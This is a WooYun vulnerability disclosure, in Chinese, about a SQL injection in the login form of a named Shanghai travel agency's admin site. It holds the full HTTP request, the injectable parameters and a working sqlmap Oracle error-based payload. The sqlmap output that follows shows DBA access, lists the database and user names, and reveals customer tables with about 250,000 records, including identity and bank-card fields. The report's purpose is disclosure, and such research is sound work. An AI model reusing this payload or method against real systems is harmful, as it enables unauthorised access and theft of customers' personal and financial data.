当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0159327

漏洞标题：大通旅游某处SQL注入(DBA权限/25W顾客信息/数千名员工信息等)

相关厂商：上海大通之旅旅行社

漏洞作者： 路人甲

提交时间：2015-12-09 11:13

修复时间：2016-01-21 18:22

公开时间：2016-01-21 18:22

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-09： 积极联系厂商并且等待厂商认领中，细节不对外公开
2016-01-21： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

rt.

详细说明：

漏洞存在于大通旅游后台管理系统：
http://datong.china51766.com

1.png


此处的登录验证处存在注入：

POST /testlogin.aspx HTTP/1.1
Host: datong.china51766.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://datong.china51766.com/
Cookie: pgv_pvi=4732638208; ASP.NET_SessionId=xk5lct55tgedln55shu5er45
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 285
__VIEWSTATE=%2FwEPDwUKLTUzNDczNjI1MGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFCkJ1dHRfTG9naW6yokT4MPBhUuctrFUiU1vx3k%2FZPw%3D%3D&__EVENTVALIDATION=%2FwEWBAKCjZn4CALKh45EAoDQwugHAvmIxIsHfK0haUlHeUrVENyfDoTgcFYpvTk%3D&text_Name=admin&text_Pwd=123456&Butt_Login.x=0&Butt_Login.y=0


参数text_Name、text_Pwd均可注入。
注入类型及配置：

sqlmap identified the following injection point(s) with a total of 209 HTTP(s) requests:
---
Parameter: text_Name (POST)
    Type: error-based
    Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
    Payload: __VIEWSTATE=/wEPDwUKLTUzNDczNjI1MGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFCkJ1dHRfTG9naW6yokT4MPBhUuctrFUiU1vx3k/ZPw==&__EVENTVALIDATION=/wEWBAKCjZn4CALKh45EAoDQwugHAvmIxIsHfK0haUlHeUrVENyfDoTgcFYpvTk=&text_Name=admin' AND 4378=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(113)||CHR(113)||CHR(106)||CHR(113)||(SELECT (CASE WHEN (4378=4378) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(112)||CHR(107)||CHR(98)||CHR(113)||CHR(62))) FROM DUAL) AND 'tecz'='tecz&text_Pwd=123456&Butt_Login.x=0&Butt_Login.y=0
---
[10:57:28] [INFO] the back-end DBMS is Oracle
web server operating system: Windows 2008 R2 or 7
web application technology: Microsoft IIS 7.5, ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Oracle


数据库：

available databases [20]:
[*] APEX_030200
[*] APPQOSSYS
[*] CTXSYS
[*] DBSNMP
[*] EXFSYS
[*] FLOWS_FILES
[*] MDSYS
[*] NEWTRAVEL
[*] OLAPSYS
[*] ORDDATA
[*] ORDSYS
[*] OUTLN
[*] OWBSYS
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB


数据库用户：

database management system users [32]:
[*] ANONYMOUS
[*] APEX_030200
[*] APEX_PUBLIC_USER
[*] APPQOSSYS
[*] CTXSYS
[*] DBSNMP
[*] DIP
[*] EXFSYS
[*] FLOWS_FILES
[*] MDDATA
[*] MDSYS
[*] MGMT_VIEW
[*] NEWTRAVEL
[*] OLAPSYS
[*] ORACLE_OCM
[*] ORDDATA
[*] ORDPLUGINS
[*] ORDSYS
[*] OUTLN
[*] OWBSYS
[*] OWBSYS_AUDIT
[*] SCOTT
[*] SI_INFORMTN_SCHEMA
[*] SPATIAL_CSW_ADMIN_USR
[*] SPATIAL_WFS_ADMIN_USR
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB
[*] XS$NULL


当前数据库和用户：

current schema (equivalent to database on Oracle):    'NEWTRAVEL'
current user:    'NEWTRAVEL'


DBA权限：

current user is DBA:    True


NEWTRAVEL中共266张表：

Database: NEWTRAVEL
[266 tables]
...


位于NEWTRAVEL中的CLIENT表和CLIENTACCOUNT表：

Database: NEWTRAVEL
+--------+---------+
| Table  | Entries |
+--------+---------+
| CLIENT | 250655  |
+--------+---------+
Database: NEWTRAVEL
+---------------+---------+
| Table         | Entries |
+---------------+---------+
| CLIENTACCOUNT | 29563   |
+---------------+---------+


CLIENT中的部分字段：

Database: NEWTRAVEL
Table: CLIENT
[51 columns]
+--------------+-----------+
| Column       | Type      |
+--------------+-----------+
| IDENTITY     | VARCHAR2  |
| ACCOUNT1     | VARCHAR2  |
| ACCOUNT2     | VARCHAR2  |
| ADDR         | VARCHAR2  |
| APPLYSHOP    | VARCHAR2  |
| BANK1        | VARCHAR2  |
| BANK2        | VARCHAR2  |
| BOSS         | VARCHAR2  |
| CARDNO       | VARCHAR2  |
    ...             ...


以及该数据库中的USERS表（该表为员工信息表）和TOUR_GUIDE（导游信息）表：

Database: NEWTRAVEL
+-------+---------+
| Table | Entries |
+-------+---------+
| USERS | 1730    |
+-------+---------+
Database: NEWTRAVEL
+------------+---------+
| Table      | Entries |
+------------+---------+
| TOUR_GUIDE | 400     |
+------------+---------+


点到为止，不在深入。
望贵公司尽快整改，这么多数据还是重视一下。

漏洞证明：

已证。

修复方案：

不会。

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞Rank：15 (WooYun评价)